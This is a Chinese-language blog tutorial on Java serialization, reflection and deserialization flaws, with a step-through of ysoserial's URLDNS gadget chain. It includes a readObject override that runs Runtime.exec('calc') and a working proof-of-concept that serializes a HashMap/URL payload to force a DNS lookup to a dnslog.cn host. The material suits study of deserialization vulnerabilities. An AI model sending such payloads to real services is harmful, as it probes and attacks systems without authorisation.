Java反序列化

Java序列化

序列化的主要分为两个部分:

  • 序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。
  • 反序列化就是打开字节流并重构对象。

Java序列化是指把Java对象转换为字节序列的过程

Java反序列化是指把字节序列恢复为Java对象的过程。

几种常见的序列化和反序列化协议

  • XML&SOAP
    XML 是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点,SOAP(Simple Object Access protocol) 是一种被广泛应用的,基于 XML 为序列化和反序列化协议的结构化消息传递协议

  • JSON(Javascript Object Notation)

  • Protobuf

为什么要用序列化与反序列化?

当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。

当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的用途。

两种用途:

  1. 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
  2. 在网络上传送对象的字节序列。

初步总结:Java 序列化和反序列化,其一,实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上;其二,利用序列化实现远程通信,即在网络上传递对象的字节序列。

Java反射

在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。

创建一个User测试类

一个对象能被序列化、反序列化,必须实现Serializable

public class User implements Serializable {
    private String name;
    private int age;
    public User(String name, int age) {
        this.name = name;
        this.age = age;
        System.out.println("create user done");
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return this.age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setAge(int age) {
        this.age = age;
    }
}

基本的Java反射用法

获取类的Class对象class(描述类的对象)(类字节码)

Class cls1 = Class.forName("com.test.User");
Class cls2 = com.test.User.class;
User user1 = new User("test",18);
Class cls3 = user1.getClass();

cls1 cls2 cls3的值均为class com.test.User

将类字节码实例化,便能调用对象中的方法

Constructor constructor = cls1.getConstructor(String.class,int.class);
User user= (User) constructor.newInstance("test",18);
System.out.println(user.getName());

获取对象中方法并用invoke执行

Method method1 = cls1.getMethod("getName");
method1.invoke(user);
Method method2 = cls1.getMethod("setAge", int.class);
method2.invoke(user,21);

获取成员变量

//获取成员变量
Field field = cls1.getDeclaredField("name");
field.setAccessible(true);
field.set(user, "test");
//获取全部成员变量
Field[] fields = cls1.getDeclaredFields();
for (Field i:fields)
{
    i.setAccessible(true);
    System.out.println(i.getName()+":"+i.get(user));
}

Java原生反序列化

序列化代码

public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

反序列化代码

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
  • ObjectOutputStream代表对象输出流:

    • 它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
  • ObjectInputStream代表对象输入流:

    • 它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
  • 静态成员变量是不能被序列化

    • 序列化是针对对象属性的,而静态成员变量是属于类的。
  • transient 标识的对象成员变量不参与序列化

创建个Person类,必须实现Serializable接口,不然就会报错

import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private int age;

    public Person() {
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

测试代码

public static void main(String[] args) throws Exception {
        Person person = new Person("lisi", 20);
        serialize(person);
        Object o = unserialize("ser.bin");
        System.out.println(o);
}
// 输出结果
Person{name='lisi', age=20}

当使用transient标识name时,输出结果Person{name='null', age=20}

在开发时,readObject和writeObject可能不符合自己的开发需求,所有jdk提供了方法,可以重写readObject和writeObject,这样在序列化和反序列化时,就不会调用jdk原生类,而是调用自己写的类

  • 特点:开发者能够灵活的做优化操作

这样就会产生安全问题

产生安全问题的原因

只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。

可能出现的安全问题的形式

  • 共同条件:继承Serializable
    1. 入口类source(重写readObject、调用常见的函数、参数类型宽泛、最好jdk自带)
    2. 调用链 gadget chain 相同名称 相同类型
    3. 执行类 (最重要)
  1. 入口类的readObject直接调用危险方法。(这是最理想的情况,基本不可能出现)

    //重写readObject
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
          ois.defaultReadObject();
          Runtime.getRuntime().exec("calc");
    }
    //Runtime.getRuntime().exec("calc");就是计算器

    image-20220313152334990

  2. 入口类参数中包含可控类,该类有危险方法,readObject时调用。 (比较少)

  3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。

URLDNS利用链分析

这里可以利用ysoserial对urldns利用链进行分析

URLDNS利用链分析

URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。所以并不需要一些Java的第三方类库就可以达到目的。

打开URLDNS源码,URLDNS.java

在最上面的注释中,作者已经给出了URLDNS的Gadget chain

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

下面debug看一下是如何执行的。

根据注释可以看出触发点在put方法,我们在put方法处打一个断点,在Edit configurations中设置好参数(DNSLog),debug mainclass文件即可

image-20220314101202291

成功停在断点处,然后逐步进行调试,一步一步分析

然后进入ht对象的类HashMap,可以观察到有序列化接口

image-20220314101408843

全局搜索一下readObject方法,然后可以发现在最后调用了putVal方法进行了hash计算

image-20220314101640408

重新跟进一下断点处,进入putVal方法,可以发现参数的keyvalue都是之前设置的dnslog地址

image-20220314102236539

然后继续向下跟进,进入hash()方法

image-20220314102505679

因为传入的key值不为0,所以会执行key.hashCode()方法,然后继续跟进

image-20220314103004700

这的handlerURLStreamHandler的对象,这里在序列化时将hashcode值设-1,所以直接调用了handlerhashCode方法并重新赋值返回了hash,继续向下跟进

image-20220314103238501

这里调用的是URLStreamHandler这个类的hashCode方法,此时我们传入的URL u对象其实就是我们的dnslog地址,后面通过u.getProtocol()方法获取了协议名字,也就是http

image-20220314103333132

继续向下跟进,出现了一个if判断,执行语句后 h的值会加上portocalhashCode()方法的返回值,跟一下这里调用的hashCode()方法

发现是Stringhashcode()方法,这里做了一顿操作得到String的hash值并赋值给h返回出来

image-20220314110338548

image-20220314105741185

继续跟进可以发现调用了getHostAddress方法,进入方法看一下getHostAdress是如何实现的,观察逻辑,这里会先后调用getHost()getByName()两个方法,最终是通过getByName(getHost())这样去发送的dnslog请求

image-20220314110727392

img

到这一步dnslog就已经可以接收到请求信息了,到这里这个利用链差不多就分析完了。

整个调用链为

HashMap.readObject()
=> HashMap.putVal()
=> HashMap.hash()
=> URL.hashCode()
=> URLStreamHandler.hashCode()
=> URLStreamHandler.hashCode().getHostAddress
=> URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName()

URLDNS利用

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class urldns {
    public static void main(String[] args) throws Exception {
        // 定义一个hashMap
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        // 设置我们触发dns查询的url
        URL url = new URL("http://k2to0c.dnslog.cn");
        // 下面在put前修改url的hashcode为非-1的值,put后将hashcode修改为-1
        // 1. 将url的hashCode字段设置为允许修改
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        // 2. 设置url的hashCode字段为任意不为-1的值
        f.set(url, 111);
        // 获取hashCode的值,验证是否修改成功
        System.out.println(url.hashCode());
        // 3. 将 url 放入 hashMap 中,右边参数随便写
        hashMap.put(url, "xxxx");
        // 4. 修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
        f.set(url, -1);

        //序列化操作
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);

        //反序列化,触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇